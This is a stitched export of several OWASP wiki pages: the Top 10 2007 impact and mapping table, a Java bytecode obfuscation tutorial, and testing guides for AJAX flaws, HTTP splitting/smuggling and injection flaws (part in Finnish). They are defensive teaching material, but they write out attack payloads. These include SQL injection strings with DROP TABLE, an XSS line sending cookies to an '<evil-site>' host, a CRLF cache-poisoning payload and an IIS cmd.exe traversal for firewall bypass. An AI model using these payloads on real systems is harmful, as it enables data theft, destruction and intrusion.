*'''Privacy violations''' from poor validation, business rule and weak authorization checks ([[Top 10 2007-A2|A2]], [[Top 10 2007-A4|A4]], [[Top 10 2007-A6|A6]], [[Top 10 2007-A7|A7]], [[Top 10 2007-A10|A10]])
*'''Identity theft''' through poor or non-existent cryptographic controls ([[Top 10 2007-A8|A8]] and [[Top 10 2007-A9|A9]]), remote file include ([[Top 10 2007-A3|A3]]) and authentication, business rule, and authorization checks ([[Top 10 2007-A4|A4]], [[Top 10 2007-A7|A7]], [[Top 10 2007-A10|A10]])
*'''Systems compromise, data alteration, or data''' destruction attacks via Injections ([[Top 10 2007-A2|A2]]) and remote file include ([[Top 10 2007-A3|A3]])
*'''Financial loss''' through unauthorized transactions and CSRF attacks ([[Top 10 2007-A4|A4]], [[Top 10 2007-A5|A5]], [[Top 10 2007-A7|A7]], [[Top 10 2007-A10|A10]])
*'''Reputation loss''' through exploitation of any of the above vulnerabilities ([[Top 10 2007-A1|A1]] - [[Top 10 2007-A10|A10]])
Once an organization moves away from worrying about reactive controls, and moves forward to proactively reducing risks applicable to their business, they will improve compliance with regulatory regimes, reduce operational costs, and hopefully will have far more robust and secure systems as a result.

== Biases ==
The methodology described above necessarily biases the Top 10 towards discoveries by the security researcher community. This pattern of discovery is similar to the methods of [http://www.zone-h.org/archive actual attack], particularly as it relates to entry-level ("script kiddie") attackers. Protecting your software against the Top 10 will provide a modicum of protection against the most common forms of attack, but far more importantly, help set a course for improving the security of your software.

== Mapping ==

There have been changes to the headings, even where content maps closely to previous content. We no longer use the WAS XML naming scheme as it has not kept up to date with modern vulnerabilities, attacks, and countermeasures. The table below depicts how this edition maps to the Top 10 2004, and the raw MITRE ranking:

{| border='1' cellpadding='2'
!style='background:#FFFF99'|'''<center>OWASP Top 10 2007</center>'''
!style='background:#FFFF99'|'''<center>OWASP Top 10 2004</center>'''
!style='background:#FFFF99'|'''<center>MITRE 2006 Raw Ranking</center>'''
|-

|'''[[Top 10 2007-A1|A1 - Cross Site Scripting (XSS)]]'''
|'''A4 - Cross Site Scripting (XSS)'''
|'''1'''
|-

|'''[[Top 10 2007-A2|A2 - Injection Flaws]]'''
|'''A6 - Injection Flaws'''
|'''2'''
|-

|'''[[Top 10 2007-A3|A3 - Malicious File Execution (NEW)]]'''
|
|'''3'''
|-

|'''[[Top 10 2007-A4|A4 - Insecure Direct Object Reference]]'''
|'''A2 - Broken Access Control (split in 2007 T10)'''
|'''5'''
|-

|'''[[Top 10 2007-A5|A5 - Cross Site Request Forgery (CSRF) (NEW)]]'''
|
|'''36'''
|-

|'''[[Top 10 2007-A6|A6 - Information Leakage and Improper Error Handling]]'''
|'''A7 - Improper Error Handling'''
|'''6'''
|-

|'''[[Top 10 2007-A7|A7 - Broken Authentication and Session Management]]'''
|'''A3 - Broken Authentication and Session Management '''
|'''14'''
|-

|'''[[Top 10 2007-A8|A8 - Insecure Cryptographic Storage]]'''
|'''A8 - Insecure Storage'''
|'''8'''
|-

|'''[[Top 10 2007-A9|A9 - Insecure Communications (NEW)]]'''
|'''Discussed under A10 - Insecure Configuration Management'''
|'''8'''
|-

|'''[[Top 10 2007-A10|A10 - Failure to Restrict URL Access]]'''
|'''A2 - Broken Access Control (split in 2007 T10)'''
|'''14'''
|-

|'''<removed in 2007>'''
|'''A1 - Unvalidated Input'''
|'''7'''
|-

|'''<removed in 2007>'''
|'''A5 - Buffer Overflows'''
|'''4, 8, and 10'''
|-

|'''<removed in 2007>'''
|'''A9 - Denial of Service'''
|'''17'''
|-

|'''<removed in 2007>'''
|'''A10 - Insecure Configuration Management'''
|'''29'''
|}

{{Top_10_2007:BottomTemplate|usenext=NextLink|next=-Cross Site Scripting|useprev=PrevLink|prev=|usemain=MainLink|main=}}

[[Category:OWASP Top Ten Project]]

Bytecode obfuscation

2013-05-12T17:46:02Z

Shady: Links

==Status==
Released: 14/1/2008
==Author==
Pierre Parrend

== Principles ==

Java is a language where the source code is quite intuitive to read. And in many cases, the compiled bytecode can also be reversed (or decompiled) into source code. This presents problems for projects that require confidentiality of the source code. This article provides an introduction to protecting bytecode through obfuscation.

=== How to recover Source Code from Bytecode? ===

There are a number of freely available Java decompilers that all provide similar functionality, including:

* Recover source code from Java bytecode,
* Retrieve names of local Variables and parameters,
* Retrieve comments and JavaDoc

Popular decompilers include:
* [http://www.kpdus.com/jad.html JAD (JAva Decompiler)] - a little dated now and does not support Java 5.0
* [http://jode.sourceforge.net Jode] - Written entirely in Java and provides a Swing GUI
* [http://jreversepro.blogspot.com/ jReversePro] - 100% Java, also slightly dated

=== How to prevent Java code from being Reverse-engineered ? ===

Several actions can be taken for preventing reverse-engineering :

* Code Obfuscation. This is done mainly through variable renaming; see next paragraph for more precisions,
* Suppression of End Of Line Characters. This makes the code difficult to parse,
* Use of anonymous classes for handling events. This seems not to be handled by many Decompiler; however, JAD copes pretty well with this.
* Class file encryption. This implies some overhead for uncyphering at runtime. Several tools are available:: [http://www.cinnabarsystems.com/canner.html Canner], by Cinnabar Systems, or [http://www.jbitsoftware.com/JBit/do/displayPage?targetPageId=products.jlockinfo JLock by JSoft]. They are available for evaluation, and the first is proposed currently for Windows Platforms only.
* Replacing the method names with certain characters e.g '/' or '.' in the class header causes the popular decompilation tools such as JAD to dump the source code which is incomprehensible (you cannot determine the control flow from the source).
Note: Beware of 100% Java solutions using encryption to protect class files as these are more than likely snake oil. Since the JVM has to read unencrypted class files at some point, even if the class files are encrypted on the disk, they will have to be decrypted before being passed to the JVM. An attacker could modify the local JVM to simply write the class files to disk in their unencrypted form at this point. (See: [http://www.javaworld.com/javaworld/javaqa/2003-05/01-qa-0509-jcrypt.html?page=2 Javaworld article]). 
Conjecture: It's is very easy to circumvent these methods to reveal bytecode using a Java profiler.

=== What obfuscation tools are available ? ===

A lot of tools exist for Java code Obfuscation. You can find extensive lists under following URLs, or simply type 'obfuscator' in your favorite search engine :

* http://directory.google.com/Top/Computers/Programming/Languages/Java/Development_Tools/Obfuscators/
* http://proguard.sourceforge.net/alternatives.html

Among those projects, some are open source project, and therefore more suitable for research - but also for enterprises who wish to control the programs they use (without any warranty):

* [http://www.zelix.com/klassmaster/ KlassMaster], shrinks and obfuscates both code and string constants. It can also translate stack traces back to readable form if you save the obfuscation log.
* [http://proguard.sourceforge.net/ Proguard] is a shrinker (make code more compact), and optimizer and obfuscator.
* [http://jode.sourceforge.net/ Jode] is a decompiler, an optimizer and an obfuscator. It contains facilities for cleaning logging statements,,
* [http://jarg.sourceforge.net/ Jarg],
* [http://sourceforge.net/projects/javaguard/ Javaguard], which is a simple obfuscator, without many documentation,
* [http://www.geocities.com/CapeCanaveral/Hall/2334/Programs/cafebabe.html CafeBabe], which allows precise view of Bytecode files and single file obfuscation; a good tool for teaching ByteCode Structure, more than a production tool.

== Using Proguard ==

The following section provides a short tutorial for using [http://proguard.sourceforge.net/ Proguard].

First, download the code under [http://sourceforge.net/project/showfiles.php?group_id=54750 following url ] and unzip it.

For this tutorial, we use the [http://www.rzo.free.fr/applis/fr.inria.ares.sfelixutils-0.1.jar fr.inria.ares.sfelixutils-0.1.jar package].

Go to the main directory of Proguard. For lauching it, you can use following script with given parameters :

java -jar lib/proguard.jar @config-genericFrame.pro

config-genericFrame.pro is the option file
(do not forget to adapt the libraryjars parameter to your own system) :

-obfuscationdictionary ./examples/dictionaries/compact.txt
-libraryjars /usr/java/j2sdk1.4.2_10/jre/lib/rt.jar
-injars fr.inria.ares.sfelixutils-0.1.jar
-outjar fr.inria.ares.sfelixutils-0.1-obs.jar
-dontshrink
-dontoptimize
-keep public class proguard.ProGuard {
public static void main(java.lang.String[]);
}

Remark that the 'keep' option is mandatory, we use this default class for not keep anything out.

The example dictionnary (here compact.txt) is given with the code.

The output is stored in the package 'genericFrameOut.jar'.

You can observe the modifications implied by obfuscation with following commands :

jar xvf genericFrameOut.jar
cd genericFrame/pub/gui/
jad c.class
more c.jad more c.jad

Remark than Strings are kept unmodified. If you want you code to be hard to read, do not forget to remove any debugging and logging comments. Jode has some facilities for making this easier.

== Using CafeBabe ==

CafeBabe is a convenient tool for teaching structure of ByteCode files. You can [http://www.geocities.com/CapeCanaveral/Hall/2334/programs.html download it at this URL].

Unzip it and execute following command :
java -classpath CafeBabe.jar org.javalobby.apps.cafebabe.CafeBabe

Have a look at some class from the original genericFrame.jar package.

Then obfuscate it, and compare both - original and modified class :

* with the CafeBabe viewer,
* after decompiling it with JAD.

What conclusion can you draw of it ?

== Using Jode ==

Jode is to be found [http://jode.sourceforge.net/ here] with instructions on how to use the decompiler and obfuscator functions [http://jode.sourceforge.net/usage.html here].

== Links ==

* [http://directory.google.com/Top/Computers/Programming/Languages/Java/Development_Tools/Obfuscators/ Obfuscator list, by Google]
* [http://proguard.sourceforge.net/alternatives.html alternatives proposed by proguard]
* [http://www.geocities.com/CapeCanaveral/Hall/2334/Programs/cafebabe.html CafeBabe]
* [http://www.cinnabarsystems.com/canner.html Canner]
* [http://www.varaneckas.com/jad/ JAD (JAva Decompiler)]
* [http://jarg.sourceforge.net/ Jarg]
* [http://sourceforge.net/projects/javaguard/ Javaguard]
* [http://www.jbitsoftware.com/JBit/do/displayPage?targetPageId=products.jlockinfo JLock by JSoft]
* [http://jode.sourceforge.net/ Jode]
* [http://proguard.sourceforge.net/ Proguard]

[[Category:OWASP Java Project]]
[[Category:How To]]
[[Category: Control]]

Testing for AJAX Vulnerabilities (OWASP-AJ-001)

2013-05-12T17:44:05Z

Shady: References

{{Template:OWASP Testing Guide v3}}

== Introduction ==

'''Asynchronous Javascript and XML (AJAX)''' is one of the latest techniques used by web application developers to provide a user experience similar to that of a traditional (i.e., "pre-web") application. Since AJAX is still a new technology, there are many security issues that have not yet been fully researched. Some of the security issues in AJAX include:

* Increased attack surface with many more inputs to secure
* Exposed internal functions of the application
* Client access to third-party resources with no built-in security and encoding mechanisms
* Failure to protect authentication information and sessions
* Blurred line between client-side and server-side code, possibly resulting in security mistakes

== Attacks and Vulnerabilities ==

===XMLHttpRequest Vulnerabilities===

AJAX uses the XMLHttpRequest(XHR) object for all communication with a server-side application, frequently a web service. A client sends a request to a specific URL on the same server as the original page and can receive any kind of reply from the server. These replies are often snippets of HTML, but can also be XML, Javascript Object Notation ([http://www.json.org JSON]), image data, or anything else that Javascript can process.

Secondly, in the case of accessing an AJAX page on a non-SSL connection, the subsequent XMLHttpRequest calls are also not SSL encrypted. Hence, the login data is traversing the wire in clear text. Using secure HTTPS/SSL channels, which the modern day browsers support, is the easiest way to prevent such attacks from happening.

XMLHttpRequest(XHR) objects retrieve the information of all the servers on the web. This could lead to various other attacks such as SQL Injection, Cross Site Scripting (XSS), etc.

===Increased Attack Surface===

Unlike traditional web applications that execute completely on the server, AJAX applications extend across the client and server, which gives the client some power. This throws in additional ways to potentially inject malicious content.

===SQL Injection===

SQL Injection attacks (see [[Testing for SQL Injection (OWASP-DV-005)|Testing for SQL Injection]]) are remote attacks on the database in which the attacker modifies SQL statements before they are processed by the DBMS. Typical SQL Injection attacks could be as follows (examples refer to Microsoft SQL Server) 

'''''Example 1'''''
<pre>
SELECT id FROM users WHERE name='' OR 1=1 AND pass='' OR 1=1 LIMIT 1;
</pre>
This query will always return one row (unless the table is empty), and it is likely to be the first entry in the table. For many applications, that entry is the administrative login - the one with the most privileges. 
Note. The code fragment above tries to match userid and password values (obtained in input) with attributes ''name'', ''pass'' of ''users''; consequently, it appears that ''users'' is storing passwords in clear text, a practice which is not recommendable. 
'''''Example 2'''''
<pre>
SELECT id FROM users WHERE name='' AND pass=''; DROP TABLE users;
</pre>
The above set of SQL statements drops the table ''users'', causing a Denial of Service. This consequence is possible on DBMS allowing concatenation of multiple statements. 

===Cross Site Scripting===

[[Cross-site Scripting (XSS)]] is a technique by which malicious content is injected in the form of HTML/JavaScript code. XSS exploits can be used for triggering various other attacks like cookie theft, account hijacking, phishing, and denial of service.

The Browser and AJAX Requests look identical, so the server is not able to classify them. Consequently, it won't be able to discern who made the request in the background. A JavaScript program can use AJAX to request a resource that occurs in the background without the user's knowledge. The browser will automatically add the necessary authentication or state-keeping information such as cookies to the request. JavaScript code can then access the response to this hidden request and then send more requests. This expansion of JavaScript functionality increases the possible damage of a Cross-Site Scripting attack.

Also, an XSS attack could send requests for specific pages other than the page the user is currently looking at. This allows the attacker to actively look for certain content, potentially accessing the data.

The XSS payload can use AJAX requests to autonomously inject itself into pages and easily re-inject the same host with more XSS (like a virus), all of which can be done with no hard refresh. Thus, XSS can send multiple requests using complex HTTP methods to propagate itself invisibly to the user. 

'''''Examples'''''
<pre><script>alert("howdy")</script>
<script>document.location='http://www.example.com/pag.pl?'%20+document.cookie</script></pre> 
''Usage:''
<pre>http://example.com/login.php?variable="><script>document.location='http://<evil-site>/cont.php?'+document.cookie</script></pre>
This will just redirect the page to an unknown and malicious page after logging into the original page from where the request was made.
 

===Client Side Injection Threats===

* ''XSS exploits'' can give access to sensitive client-side data, and can also modify client-side code.
* ''DOM Injection'' is a type pf XSS injection which happens through the sub-objects, document location, document.URL, or document.referrer of the Document Object Model(DOM)

<pre>
<SCRIPT>
var pos=document.URL.indexOf("name=")+5;
document.write(document.URL.substring(pos,document.URL.length));
</SCRIPT>
</pre>

* ''JSON/XML/XSLT Injection'' - Injection of malicious code in the XML content 

===AJAX Bridging===

For security purposes, AJAX applications can only connect back to the Website from which they come. For example, JavaScript with AJAX downloaded from ''site1.com'' cannot make connections to ''site2.com''. To allow AJAX to contact third-party sites in this manner, the AJAX service bridge was created. In a bridge, a host provides a Web service that acts as a proxy to forward traffic between the JavaScript running on the client and the third-party site. A bridge could be considered a 'Web service to Web service' connection. An attacker could use this to access sites with restricted access.

===Cross Site Request Forgery (CSRF)===

CSRF (see [[Testing for CSRF (OWASP-SM-005)|Testing for CSRF]]) attacks occur when an attacker forces a victim’s web browser to send an HTTP request to any website of his choosing (the intranet is a fair game as well). For example, while reading this post, the HTML/JavaScript code embedded in the web page could have forced your browser to make an off-domain request to your bank, blog, web mail, DSL router, etc. In case such applications are vulnerable, invisibly, CSRF could have transferred funds, posted comments, compromised email lists, or reconfigured the network. A characteristic of CSRF attacks is that the vulnerable application logs' will show what appear as legitimate entries originating from the victim, bearing no trace of the attack. This attack, though not common, has been done before.

===Denial of Service===

Denial of Service is an old attack in which an attacker or vulnerable application forces the user to launch multiple XMLHttpRequests to a target application against the wishes of the user. In fact, browser domain restrictions make XMLHttpRequests useless in launching such attacks on other domains. Simple tricks such as using image tags nested within a JavaScript loop can do the trick more effectively. AJAX, being on the client-side, makes the attack easier.<pre><IMG SRC="http://example.com/cgi-bin/ouch.cgi?a=b"></pre>

===Browser Based Attacks===

The security of web browsers depends to a great extent to the fact that these tools integrate disparate technologies (such as HTML, Javascript, DNS, to name a few), whose interoperability has often been achieved without focusing much on its security implications. Furthermore, most of the security features available in browsers are based on previous attacks, so our browsers are not prepared for newer attacks.

There have been a number of new attacks on browsers, such as using the browser to hack into the internal network. The JavaScript first determines the internal network address of the PC. Then, using standard JavaScript objects and commands, it starts scanning the local network for Web servers. These could be computers that serve Web pages, but they could also include routers, printers, IP phones, and other networked devices or applications that have a Web interface. The JavaScript scanner determines whether there is a computer at an IP address by sending a "ping" using JavaScript "image" objects. It then determines which servers are running by looking for image files stored in standard places and analyzing the traffic and error messages it receives back.

Attacks that target Web browser and Web application vulnerabilities are often conducted by HTTP and, therefore, may bypass filtering mechanisms in place on the network perimeter. In addition, the widespread deployment of Web applications and Web browsers gives attackers a large number of easily exploitable targets. For example, Web browser vulnerabilities can lead to the exploitation of vulnerabilities in operating system components and individual applications, which can lead to the installation of malicious code, including bots.

== Major Attacks ==

'''MySpace Attack'''

The Samy and Spaceflash worms both spread on MySpace, changing profiles on the hugely popular social-networking Web site. In the case of Samy (see [http://namb.la/popular/tech.html Technical explanation of The MySpace Worm]), MySpace input validation controls prevent the injection of ''<SCRIPT>'' tags, however failed to consider all HTML tags, such as ''DIV''. The article is a good example demonstrating how hard it is to perform input validation (particularly if you try to do it following a ''black list'' based approach). AJAX was used to inject a worm into the MySpace profile of any user viewing infected page and forced any user viewing the infected page to add the user “Samy” to his friend list. It also appended the words “Samy is my hero” to the victim's profile 

'''Yahoo! Mail Attack'''

In June 2006, the Yamanner worm infected Yahoo's mail service. The worm, using XSS and AJAX, took advantage of a vulnerability in Yahoo Mail's onload event handling. When an infected email was opened, the worm code executed its JavaScript, sending a copy of itself to all the Yahoo contacts of the infected user. The infected email carried a spoofed 'From' address picked randomly from the infected system, which made it look like an email from a known user.

== References ==

'''Whitepapers'''

* Brian Chess, Yekaterina Tsipenyuk O'Neil, Jacob West, "JavaScript Hijacking" - http://www.fortify.com/servlet/downloads/public/JavaScript_Hijacking.pdf 
* Billy Hoffman, "Ajax(in) Security" - http://www.blackhat.com/presentations/bh-usa-06/BH-US-06-Hoffman.pdf 
* Billy Hoffman, "Analysis of Web Application Worms and Viruses - http://www.blackhat.com/presentations/bh-usa-06/BH-US-06-Hoffman_web.pdf ",SPI Labs 
* Billy Hoffman, "Ajax Security Dangers" - http://www.spidynamics.com/assets/documents/AJAXdangers.pdf ",SPI Labs 
* “Ajax: A New Approach to Web Applications”, Adaptive Path - http://www.adaptivepath.com/publications/essays/archives/000385.php Jesse James Garrett 
* http://en.wikipedia.org/wiki/AJAX AJAX 
* http://ajaxpatterns.org AJAX Patterns
* Billy Hoffman, "Ajax Security Dangers" - http://rmccurdy.com/scripts/docs/spidynamics/AJAXdangers.pdf ",SPI Labs 

[[Category:OWASP AJAX Security Project]]

Testing for HTTP Splitting/Smuggling (OTG-INPVAL-016)

2013-05-12T17:36:23Z

Shady: References

{{Template:OWASP Testing Guide v4}}

== Brief Summary ==
In this chapter we will illustrate examples of attacks that leverage specific features of the HTTP protocol, either by exploiting weaknesses of the web application or peculiarities in the way different agents interpret HTTP messages
 

== Description of the Issue ==
We will analyze two different attacks that target specific HTTP headers: HTTP splitting and HTTP smuggling. The first attack exploits a lack of input sanitization which allows an intruder to insert CR and LF characters into the headers of the application response and to 'split' that answer into two different HTTP messages. The goal of the attack can vary from a cache poisoning to cross site scripting. In the second attack, the attacker exploits the fact that some specially crafted HTTP messages can be parsed and interpreted in different ways depending on the agent that receives them. HTTP smuggling requires some level of knowledge about the different agents that are handling the HTTP messages (web server, proxy, firewall) and therefore will be included only in the Gray Box testing section 

== Black Box testing and Examples ==
===HTTP Splitting===
Some web applications use part of the user input to generate the values of some headers of their responses. The most straightforward example is provided by redirections in which the target URL depends on some user-submitted value. Let's say for instance that the user is asked to choose whether he/she prefers a standard or advanced web interface. The choice will be passed as a parameter that will be used in the response header to trigger the redirection to the corresponding page. More specifically, if the parameter 'interface' has the value 'advanced', the application will answer with the following:
<pre>
HTTP/1.1 302 Moved Temporarily
Date: Sun, 03 Dec 2005 16:22:19 GMT
Location: http://victim.com/main.jsp?interface=advanced
<snip>
</pre>
When receiving this message, the browser will bring the user to the page indicated in the Location header. However, if the application does not filter the user input, it will be possible to insert in the 'interface' parameter the sequence %0d%0a, which represents the CRLF sequence that is used to separate different lines. At this point, we will be able to trigger a response that will be interpreted as two different responses by anybody who happens to parse it, for instance a web cache sitting between us and the application. This can be leveraged by an attacker to poison this web cache so that it will provide false content in all subsequent requests. Let's say that in our previous example the pen-tester passes the following data as the interface parameter:
<pre>
advanced%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-
Type:%20text/html%0d%0aContent-Length:%2035%0d%0a%0d%0a<html>Sorry,%20System%20Down</html>
</pre>
The resulting answer from the vulnerable application will therefore be the
following:
<pre>
HTTP/1.1 302 Moved Temporarily
Date: Sun, 03 Dec 2005 16:22:19 GMT
Location: http://victim.com/main.jsp?interface=advanced
Content-Length: 0

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 35

<html>Sorry,%20System%20Down</html>
<other data>
</pre>
The web cache will see two different responses, so if the attacker sends, immediately after the first request, a second one asking for /index.html, the web cache will match this request with the second response and cache its content, so that all subsequent requests directed to victim.com/index.html passing through that web cache will receive the "system down" message. In this way, an attacker would be able to effectively deface the site for all users using that web cache (the whole Internet, if the web cache is a reverse proxy for the web application). Alternatively, the attacker could pass to those users a JavaScript snippet that mounts a cross site scripting attack, e.g., to steal the cookies. Note that while the vulnerability is in the application, the target here is its users.

Therefore, in order to look for this vulnerability, the tester needs to identify all user controlled input that influences one or more headers in the response, and check whether he/she can successfully inject a CR+LF sequence in it. The headers that are the most likely candidates for this attack are:

* Location
* Set-Cookie

It must be noted that a successful exploitation of this vulnerability in a real world scenario can be quite complex, as several factors must be taken into account:

# The pen-tester must properly set the headers in the fake response for it to be successfully cached (e.g., a Last-Modified header with a date set in the future). He/she might also have to destroy previously cached versions of the target pagers, by issuing a preliminary request with "Pragma: no-cache" in the request headers
# The application, while not filtering the CR+LF sequence, might filter other characters that are needed for a successful attack (e.g., "<" and ">"). In this case, the tester can try to use other encodings (e.g., UTF-7)
# Some targets (e.g., ASP) will URL-encode the path part of the Location header (e.g., www.victim.com/redirect.asp), making a CRLF sequence useless. However, they fail to encode the query section (e.g., ?interface=advanced), meaning that a leading question mark is enough to bypass this filtering

For a more detailed discussion about this attack and other information about possible scenarios and applications, check the papers referenced at the bottom of this section.

== Gray Box testing and example ==
===HTTP Splitting===
A successful exploitation of HTTP Splitting is greatly helped by knowing some details of the web application and of the attack target.
For instance, different targets can use different methods to decide when the first HTTP message ends and when the second starts. Some will use the message boundaries, as in the previous example. Other targets will assume that different messages will be carried by different packets. Others will allocate for each message a number of chunks of predetermined length: in this case, the second message will have to start exactly at the beginning of a chunk and this will require the tester to use padding between the two messages. This might cause some trouble when the vulnerable parameter is to be sent in the URL, as a very long URL is likely to be truncated or filtered. A gray box scenario can help the attacker to find a workaround: several application servers, for instance, will allow the request to be sent using POST instead of GET.

===HTTP Smuggling===
As mentioned in the introduction, HTTP Smuggling leverages the different ways that a particularly crafted HTTP message can be parsed and interpreted by different agents (browsers, web caches, application firewalls). This relatively new kind of attack was first discovered by Chaim Linhart, Amit Klein, Ronen Heled and Steve Orrin in 2005. There are several possible applications and we will analyze one of the most spectacular: the bypass of an application firewall. Refer to the original whitepaper (linked at the bottom of this page) for more detailed information and other scenarios.

'''Application Firewall Bypass'''

There are several products that enable a system administration to detect and block a hostile web request depending on some known malicious pattern that is embedded in the request. For example, consider the infamous, old Unicode directory traversal attack against IIS server (http://www.securityfocus.com/bid/1806), in which an attacker could break out the www root by issuing a request like:
<pre>
http://target/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+<command_to_execute>
</pre>
Of course, it is quite easy to spot and filter this attack by the presence of strings like ".." and "cmd.exe" in the URL. However, IIS 5.0 is quite picky about POST requests whose body is up to 48K bytes and truncates all content that is beyond this limit when the Content-Type header is different from application/x-www-form-urlencoded. The pen-tester can leverage this by creating a very large request, structured as follows:
<pre>
POST /target.asp HTTP/1.1 <-- Request #1
Host: target
Connection: Keep-Alive
Content-Length: 49225
<CRLF>
<49152 bytes of garbage>
POST /target.asp HTTP/1.0 <-- Request #2
Connection: Keep-Alive
Content-Length: 33
<CRLF>
POST /target.asp HTTP/1.0 <-- Request #3
xxxx: POST /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0 <-- Request #4
Connection: Keep-Alive
<CRLF>
</pre>

What happens here is that the Request #1 is made of 49223 bytes, which includes also the lines of Request #2. Therefore, a firewall (or any other agent beside IIS 5.0) will see Request #1, will fail to see Request #2 (its data will be just part of #1), will see Request #3 and miss Request #4 (because the POST will be just part of the fake header xxxx).
Now, what happens to IIS 5.0 ? It will stop parsing Request #1 right after the 49152 bytes of garbage (as it will have reached the 48K=49152 bytes limit) and will therefore parse Request #2 as a new, separate request. Request #2 claims that its content is 33 bytes, which includes everything until "xxxx: ", making IIS miss Request #3 (interpreted as part of Request #2) but spot Request #4, as its POST starts right after the 33rd byte or Request #2. It is a bit complicated, but the point is that the attack URL will not be detected by the firewall (it will be interpreted as the body of a previous request) but will be correctly parsed (and executed) by IIS.

While in the aforementioned case the technique exploits a bug of a web server, there are other scenarios in which we can leverage the different ways that different HTTP-enabled devices parse messages that are not 1005 RFC compliant. For instance, the HTTP protocol allows only one Content-Length header, but does not specify how to handle a message that has two instances of this header. Some implementations will use the first one while others will prefer the second, cleaning the way for HTTP Smuggling attacks. Another example is the use of the Content-Length header in a GET message.

Note that HTTP Smuggling does *not* exploit any vulnerability in the target web application. Therefore, it might be somewhat tricky, in a pen-test engagement, to convince the client that a countermeasure should be looked for anyway.

== References ==
'''Whitepapers'''
* Amit Klein, "Divide and Conquer: HTTP Response Splitting, Web Cache Poisoning Attacks, and Related Topics" - http://www.packetstormsecurity.org/papers/general/whitepaper_httpresponse.pdf
* Chaim Linhart, Amit Klein, Ronen Heled, Steve Orrin: "HTTP Request Smuggling" - http://www.watchfire.com/news/whitepapers.aspx
* Amit Klein: "HTTP Message Splitting, Smuggling and Other Animals" - http://www.owasp.org/images/1/1a/OWASPAppSecEU2006_HTTPMessageSplittingSmugglingEtc.ppt
* Amit Klein: "HTTP Request Smuggling - ERRATA (the IIS 48K buffer phenomenon)" - http://www.securityfocus.com/archive/1/411418
* Amit Klein: “HTTP Response Smuggling” - http://www.securityfocus.com/archive/1/425593 
* Chaim Linhart, Amit Klein, Ronen Heled, Steve Orrin: "HTTP Request Smuggling" - http://www.cgisecurity.com/lib/http-request-smuggling.pdf

Top 10 2007-Injection Flaws-Finnish

2013-05-12T17:34:21Z

Shady: References

{{Top_10_2007:TopTemplate|usenext=NextLink|next=-Malicious File Execution-Finnish|useprev=PrevLink|prev=-Cross Site Scripting-Finnish|usemain=MainLink|main=_Finnish}}

'''Esimerkki'''
Haavoittuva sovellus etsii kirjautuessa käyttäjän tietokannasta seuraavalla tietokantakyselyllä:

"SELECT * FROM users WHERE username='" + ''username'' + "' AND password='" + ''password'' + "'"

Parametrit ''username'' ja ''password'' tulevat suoraan kirjautumislomakkeelta. Hyökkääjä antaa admin-käyttäjän salasanaksi: ' OR '1'='1

"SELECT * FROM users WHERE username='admin' AND password='' OR '1'='1'"

Toimenpide näyttää sovellukselle onnistuneelta kirjautumiselta, vaikka oikea salasana ei ollut tiedossa.

'''Suositus'''
Tarkasta kaikki syötekentät ja koodaa tietokanta- tai muissa taustajärjestelmäkyselyissä käytettävät erikoismerkit toiseen muotoon.

TODO: Käännä seuraavat

Injection flaws, particularly SQL injection, are unfortunately very common in web applications. There are many types of injections: [http://cwe.mitre.org/data/definitions/89.html SQL], [http://cwe.mitre.org/data/definitions/564.html Hibernate Query Language (HQL)], [http://cwe.mitre.org/data/definitions/90.html LDAP], [http://cwe.mitre.org/data/definitions/91.html XPath], [http://cwe.mitre.org/data/definitions/652.html XQuery], [http://cwe.mitre.org/data/definitions/91.html XSLT], [http://cwe.mitre.org/data/definitions/79.html HTML], [http://cwe.mitre.org/data/definitions/91.html XML], [http://cwe.mitre.org/data/definitions/78.html OS command injection] and many more.

Injection occurs when user-supplied data is sent to an interpreter as part of a command or query. Attackers trick the interpreter into executing unintended commands via supplying specially crafted data. Injection flaws allow attackers to create, read, update, or delete any arbitrary data available to the application. In the worst case scenario, these flaws allow an attacker to completely compromise the application and the underlying systems, even bypassing deeply nested firewalled environments.

== Environments Affected ==

All web application frameworks that use interpreters or invoke other processes are vulnerable to injection attacks. This includes any components of the framework, that might use back-end interpreters.

== Vulnerability ==

If user input is passed into an interpreter without validation or encoding, the application is vulnerable. Check if user input is supplied to dynamic queries, such as:

''PHP:''
<code>$sql = "SELECT * FROM table WHERE id = '" . $_REQUEST['id'] . "'"; </code>

''Java:''
<code>String query = "SELECT user_id FROM user_data WHERE
user_name = '" + req.getParameter("userID") + "' and
user_password = '" + req.getParameter("pwd") +"'";</code>

== Verifying Security ==

The goal is to verify that user data cannot modify the meaning of commands and queries sent to any of the interpreters invoked by the application.

Automated approaches: Many vulnerability scanning tools search for injection problems, particularly SQL injection. Static analysis tools that search for uses of unsafe interpreter APIs are useful, but frequently cannot verify that appropriate validation or encoding might be in place to protect against the vulnerability. If the application catches 501 / 500 internal server errors, or detailed database errors, it can significantly hamper automated tools, but the code may still be at risk. Automated tools may be able to detect LDAP / XML injections / XPath injections.

Manual approaches: The most efficient and accurate approach is to check the code that invokes interpreters. The reviewer should verify the use of a safe API or that appropriate validation and/or encoding has occurred. Testing can be extremely time-consuming and with low coverageand spotty because the attack surface of most applications is so large.

== Protection ==

Avoid the use of interpreters when possible. If you must invoke an interpreter, the key method to avoid injections is the use of safe APIs, such as strongly typed parameterized queries and object relational mapping (ORM) libraries that are immune to injection (be careful here - Hibernate, for example is NOT immune to injection by itself. You have to use named parameters to be safe in Hibernate). These interfaces handle all data escaping, or do not require escaping. Note that while safe interfaces solve the problem, validation is still recommended in order to detect attacks.

Using interpreters is dangerous, so it's worth it to take extra care, such as the following:

*'''Input validation.''' Use a standard input validation mechanism to validate all input data for length, type, syntax, and business rules before accepting the data to be displayed or stored. Use an "accept known good" validation strategy. Reject invalid input rather than attempting to sanitize potentially hostile data. Do not forget that error messages might also include invalid data
*'''Use strongly typed parameterized query APIs''' with placeholder substitution markers, even when calling stored procedures
*'''Enforce least privilege''' when connecting to databases and other backend systems
*'''Avoid detailed error messages''' that are useful to an attacker
*'''Show care when using stored procedures''' since they are generally safe from SQL Injection. However, be careful as they can be injectable (such as via the use of exec() or concatenating arguments within the stored procedure)
*'''Do not use dynamic query interfaces''' (such as mysql_query() or similar)
*'''Do not use simple escaping functions''', such as PHP's addslashes() or character replacement functions like str_replace("'", "''"). These are weak and have been successfully exploited by attackers. For PHP, use mysql_real_escape_string() if using MySQL, or preferably use PDO which does not require escaping
